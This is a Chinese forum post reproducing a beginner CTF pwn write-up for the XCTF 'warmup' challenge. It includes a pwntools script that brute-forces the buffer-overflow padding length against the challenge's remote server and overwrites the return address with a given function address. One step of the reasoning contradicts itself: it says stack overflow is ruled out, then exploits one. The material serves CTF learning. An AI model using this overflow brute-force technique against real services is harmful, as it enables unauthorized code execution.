攻防世界pwn题:warmup

[复制链接]
发表于 2026-10-14 20:35:50 | 显示全部楼层 |阅读模式

马上注册,结交更多好友,享用更多功能,让你轻松玩转社区。

您需要 登录 才可以下载或查看,没有账号?立即注册

×
攻防世界pwn题:warmup

【导语】本文是一篇 CTF pwn 入门题解(攻防世界 warmup)。题目只给远程环境、无附件,属于“盲打”:用 nc 连接后得到一个 64 位程序地址 0x40060d,输入数据无回显可排除栈溢出;作者通过从 0 到 99 依次尝试填充长度,在长度 72 时成功打印出 flag,并记录用 try/except 处理异常避免报错退出。

核心观点

  • 盲打思路:无线索无附件,nc 连接远程,根据给出的 64 位地址 0x40060d 猜测为 get_shell/cat_flag,输入无回显排除栈溢出
  • 长度探测:用 pwntools 从 0 到 99 依次尝试填充长度 A*i + p64(sys),在长度 72 时打印出 flag
  • 异常处理:构造循环时必须用 try…except 包裹,否则单次异常会导致脚本退出无法继续探测

适用场景
适用于 CTF pwn 入门、栈溢出长度探测与 pwntools 基础练习场景,适合安全竞赛初学者参考。

关键信息
(CTF 题解,文中 nc 连接、探测 exp 与 flag 截图见正文及配图。)



0x00:前言

这道题是盲打题,就是没有给附件,只给了远程环境。
但这道题并不难,由于这种形式少见,所以我就在这里记录一下。
下面看看我的做题思路吧~
 
0x01:做题思路

1、初览


 
 
 问题并没有给附件,这时候就可以做好盲打的准备了。
 
2、连接远程并分析

用nc连接一下远程:

 
 
给了一个地址,0x40060d,看地址是个64位的程序。给了一个地址,大胆猜测是get_shell或者是cat_flag相关的。然后我们可以操作的是输入数据,回车也没有任何返回值,这也可以排除栈溢出。
 
3、编写exp
  1. from pwn import *
  2. sys = 0x40060d
  3. for i in range(100):
  4. print(i)
  5. try:
  6.   io = remote("111.200.241.244",53599)
  7.   payload = b'A'*i + p64(sys)
  8.   io.recvuntil(">")
  9.   io.sendline(payload)
  10.   print(io.recv())
  11.   io.interactive()
  12. except:
  13.   io.close()
复制代码
 
从0到99依次尝试,判断溢出所需长度。
在长度为72时,打印出了flag:

 
 
注意,这里要用try……except结构处理异常,不然就会报错导致退出执行:

 
 
 
tolele
2022-07-02
回复

使用道具 举报

登录后关闭弹窗

登录参与点评抽奖  加入IT实名职场社区
去登录
快速回复 返回顶部 返回列表